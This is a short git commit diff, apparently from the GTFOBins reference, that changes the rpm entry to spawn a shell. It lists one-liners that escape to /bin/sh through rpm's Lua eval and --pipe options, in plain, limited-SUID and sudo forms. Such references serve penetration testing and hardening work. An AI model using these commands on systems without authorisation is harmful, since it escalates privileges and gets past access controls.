Upgrade to shell

This commit is contained in:
Andrea Cardaci 2021-04-08 07:56:49 +02:00 committed by GitHub
parent ecb1840df3
commit 9800048833
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -2,12 +2,9 @@
functions:
shell:
- code: rpm --eval '%{lua:os.execute("/bin/sh")}'
command:
- code: |
rpm --pipe '/bin/id > /tmp/result'
cat /tmp/result
- code: rpm --pipe '/bin/sh 0<&1'
limited-suid:
- code: rpm --eval '%{lua:os.execute("/bin/sh")}'
- code: ./rpm --eval '%{lua:os.execute("/bin/sh")}'
sudo:
- code: sudo rpm --eval '%{lua:os.execute("/bin/sh")}'
- description: |